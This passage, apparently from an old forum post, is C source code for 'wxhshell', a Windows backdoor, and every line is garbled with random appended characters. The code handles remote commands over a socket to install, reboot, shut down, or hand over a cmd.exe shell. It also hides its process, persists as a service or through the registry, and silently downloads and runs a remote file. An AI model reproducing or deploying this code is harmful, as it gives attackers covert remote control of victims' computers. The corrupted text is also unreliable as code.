    switch(cmd[0]) { ,b^jAzow  
  30w(uF  
  // 帮助 8@;R2]Q  
  case '?': { IV1O/lGp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '%e@7Cs  
    break; )Dv;,t  
  } 66B,Krz1n  
  // 安装 j."V>p8u$  
  case 'i': { &N7q 9t  
    if(Install()) Zd)LVc[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,*V%  
    else >G?*rg4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .0/"~5  
    break;  \v:Z;EbX  
    } k=d _{2 ~  
  // 卸载 sw1gpkX  
  case 'r': { /w6'tut  
    if(Uninstall()) $&, KZ>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <aF B&Fm  
    else , DuyPBAms  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W4qT]m  
    break; F{ 4k2Izr  
    } `\z )EoI  
  // 显示 wxhshell 所在路径 ~|~2B$JeV  
  case 'p': { lGT[6S\as  
    char svExeFile[MAX_PATH]; S h5m+>7K  
    strcpy(svExeFile,"\n\r"); VtN@B*  
      strcat(svExeFile,ExeFile); eGKvzu  
        send(wsh,svExeFile,strlen(svExeFile),0); kG4])qxC'  
    break; j/wQ2"@a  
    } k;Qm%B  
  // 重启 b:O_PS5h  
  case 'b': { :Eg4^,QX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [70 _uq  
    if(Boot(REBOOT)) 5 <KBMCn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b H5lLcdf  
    else { B|^=2 >8s  
    closesocket(wsh); P"Q6wdm  
    ExitThread(0); jv29,46K  
    } UY *Z`$  
    break; ze8MFz'm  
    } @Z""|H"0  
  // 关机 g( "[wqgG  
  case 'd': { b,ZBol|X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FFVh~em{  
    if(Boot(SHUTDOWN)) lUnC+w#[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LChwHkRHJI  
    else { =`MQKh,  
    closesocket(wsh); |gk"~D  
    ExitThread(0); ~}D"8[ABj  
    } ?*q-u9s9  
    break; rV%;d[LB  
    } ki `ur%h  
  // 获取shell !8 l &%  
  case 's': { r;waT@&C  
    CmdShell(wsh); 8v^AVg  
    closesocket(wsh); N#Nc{WU 'B  
    ExitThread(0); ?$\sMkn  
    break; PEtr8J$uB  
  } @&E7Pg5  
  // 退出 $ JCOL  
  case 'x': { qMqf7 .  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]xV2= !J  
    CloseIt(wsh); n#P?JyGm1g  
    break; TuwSJS7  
    } ZQ\O| n8  
  // 离开 Z2]\k|%<Fa  
  case 'q': { @-1VN;N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #zn`)n  
    closesocket(wsh); S6yLq|W0  
    WSACleanup(); @, z4{B  
    exit(1); WR* <|  
    break; cR6 #$-a  
        } \S?;5LacZ  
  } (iO/@iw  
  } n5#9o},oK  
S U P  
  // 提示信息 u69G #  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :N4?W}r.  
} SV1;[  
  } LwI4 2  
P=4o)e7E!  
  return; t .XuH#  
} 7c'OIY].,  
SzjylUYV  
// shell模块句柄 ]4_)WUS.c  
int CmdShell(SOCKET sock) ]A_A4=[w  
{ mL s>RR#b  
STARTUPINFO si; 3SF J8  
ZeroMemory(&si,sizeof(si)); 59_VC('  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b~rlh=(o#_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Eo <N  
PROCESS_INFORMATION ProcessInfo; _#E@& z".L  
char cmdline[]="cmd"; w4uY/!~k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ve\!:,(Y_  
  return 0; 0o?2Sf`L\*  
} <3{ >;^|e  
#|cr\\2*  
// 自身启动模式 G'_5UP!  
int StartFromService(void) i"M$hXO  
{ S#ud<=@!9  
typedef struct 2cJ3b 0Xx  
{ N!af1zj  
  DWORD ExitStatus; iS8yJRy  
  DWORD PebBaseAddress; u,S}4p&l  
  DWORD AffinityMask; 2C &l\16  
  DWORD BasePriority; o2riy'~  
  ULONG UniqueProcessId; 3q(]Dg;v  
  ULONG InheritedFromUniqueProcessId; z 2Ao6*%  
}   PROCESS_BASIC_INFORMATION; /5 R?(-  
c~Z\|Y`#B  
PROCNTQSIP NtQueryInformationProcess; IqjH  
G]>P!]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Jy#2 1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NK(; -~{P  
X&Pj  
  HANDLE             hProcess; PKNpR  
  PROCESS_BASIC_INFORMATION pbi; ddeH-Z  
>Q# !.lH$W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hjoxx F\_  
  if(NULL == hInst ) return 0;  gm@%[  
wArtg'=X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [/eRc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'miY"L:| O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X7fJ+C n  
?pp|~A)b  
  if (!NtQueryInformationProcess) return 0; -*"Q-GO  
q+Qrc]>-f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~_yz\;#  
  if(!hProcess) return 0; Z= /bD*\g  
= M/($PA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8`  f=E h  
P'CDV3+  
  CloseHandle(hProcess); -]vPF|  
c9xc@G!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zE4TdT1y|  
if(hProcess==NULL) return 0; ,~xX[uB  
5Og=`T  
HMODULE hMod; A^hFRAg4  
char procName[255]; hQDZ%>  
unsigned long cbNeeded; hX sH9R  
VZ$FTM^b8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w^aI1M50  
Mhj.3nN  
  CloseHandle(hProcess); km#Rh^  
oSqkAAGz\  
if(strstr(procName,"services")) return 1; // 以服务启动 79Si^n1\  
`!iVMTp  
  return 0; // 注册表启动 g6T /k7a  
} 6):^m{RH^  
l?LP:;S  
// 主模块 Lr`G. e  
int StartWxhshell(LPSTR lpCmdLine) El`f>o+EJ  
{ aY@st]p  
  SOCKET wsl; lip1wR7  
BOOL val=TRUE; ax+P) yz  
  int port=0; h"+|)'*n  
  struct sockaddr_in door; OQm-BL   
FYu=e?L  
  if(wscfg.ws_autoins) Install(); ZAcW@xfb  
By-A1|4Cp`  
port=atoi(lpCmdLine); J$Nc9 ?|ZZ  
1K'.QRZMb9  
if(port<=0) port=wscfg.ws_port; Oe*+pReSD  
2OJ=Xb1  
  WSADATA data; Epf[8La  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^qlfdf  
|LNAd:0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   j?rq%rQd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~%o?J"y  
  door.sin_family = AF_INET; $Sfx0?'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \%D/]"@r  
  door.sin_port = htons(port); h q& 2o  
?sBbe@OC?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #4<Rs|K  
closesocket(wsl); *w;=o}`  
return 1; 89{@2TXR  
} _~b$6Nf!83  
(qM(~4|`  
  if(listen(wsl,2) == INVALID_SOCKET) { =W~K_jE5lo  
closesocket(wsl); w %sHA  
return 1; tag~SG`ov  
} /*8Ms`  
  Wxhshell(wsl); ?u]%T]W  
  WSACleanup(); Z#lZn!EbK  
4-:TQp(  
return 0; ` d[ja,  
=5sUpP V(  
} tu6Q7CjW8  
Q]}aZ4L  
// 以NT服务方式启动 d;D8$q)8Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h (`Erb  
{ pK~K>8\  
DWORD   status = 0; Kqt,sJ  
  DWORD   specificError = 0xfffffff; _,JdL'[d  
` E2@GX+,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i; 3^vhbQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ua]>0\D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !wttKUO?  
  serviceStatus.dwWin32ExitCode     = 0; \y G//  
  serviceStatus.dwServiceSpecificExitCode = 0; HFL(t]  
  serviceStatus.dwCheckPoint       = 0; ,!RbFME&H  
  serviceStatus.dwWaitHint       = 0; _DK%-,Spu  
W6m oFn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +EWfsKz  
  if (hServiceStatusHandle==0) return; aT %A<'O!  
loLN ~6  
status = GetLastError(); L[Dr[  
  if (status!=NO_ERROR) FM3DJ?\L-  
{ J c~{ E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jHxg(]  
    serviceStatus.dwCheckPoint       = 0; KF"&9nB  
    serviceStatus.dwWaitHint       = 0; >6(91J  
    serviceStatus.dwWin32ExitCode     = status; )NwIEk>Tf  
    serviceStatus.dwServiceSpecificExitCode = specificError; |hprk-R*OH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k2xOu9ncEj  
    return; 8W|qm;J98  
  } |lijnfp  
: _>/Yd7-&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kR0d]"dr  
  serviceStatus.dwCheckPoint       = 0; l 6;}nG  
  serviceStatus.dwWaitHint       = 0; iJza zQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z~VSWrw3  
} gt1W_C\  
wY`yP!xO  
// 处理NT服务事件,比如:启动、停止 ad1%"~1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OI9V'W$  
{ q+/c+u?=^  
switch(fdwControl) W7a aL  
{ 1{sfDw[s  
case SERVICE_CONTROL_STOP: /OpVr15  
  serviceStatus.dwWin32ExitCode = 0; zd+_ BPT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;MqH)M  
  serviceStatus.dwCheckPoint   = 0; (P-Bmu!s  
  serviceStatus.dwWaitHint     = 0; z#8d\X/  
  {  ;Q;u^T`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z2]ySyt]  
  } `2X#;{a:  
  return;  lqO"  
case SERVICE_CONTROL_PAUSE: {o?+T );Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6}YWM]c%  
  break; ^&'&Y>  
case SERVICE_CONTROL_CONTINUE: )vFJx[a<n`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wj fk >  
  break; jrMY]Ea2`  
case SERVICE_CONTROL_INTERROGATE: r?s,  
  break; 38wt=0br  
}; `3Gjj&c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KrhAObK  
} i>n.r_!E  
f#RI&I\  
// 标准应用程序主函数 L-  -  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f&w8o5=|I  
{ eGZX 6Q7m  
kMGK 8y  
// 获取操作系统版本 _R!KHi  
OsIsNt=GetOsVer(); AHq;6cG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hnv{sND[  
'sCj\N  
  // 从命令行安装 >g%^hjJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); fI2/v<[  
8*nl Wl9qo  
  // 下载执行文件 g0m6D:f  
if(wscfg.ws_downexe) { Th&* d;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K|-?1)Um  
  WinExec(wscfg.ws_filenam,SW_HIDE); pSQ)DqW  
} y9?~^pTx  
uaMf3HeYV  
if(!OsIsNt) { B5>1T[T'-  
// 如果时win9x,隐藏进程并且设置为注册表启动 qRg^Bp'VD#  
HideProc(); <_HK@E<_HO  
StartWxhshell(lpCmdLine); gO*:< B g  
} M <oy  
else ({#9gTP2b  
  if(StartFromService()) xkIRI1*!  
  // 以服务方式启动 z z@;UbD"  
  StartServiceCtrlDispatcher(DispatchTable); 1]HEwTT/1_  
else FE+Y#  
  // 普通方式启动 6&p I{  
  StartWxhshell(lpCmdLine); 4J=6A4O5Z  
K-&&%Id6R  
return 0; ""[(e0oA  
}
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只看该作者 1 发表于: 2006-10-10
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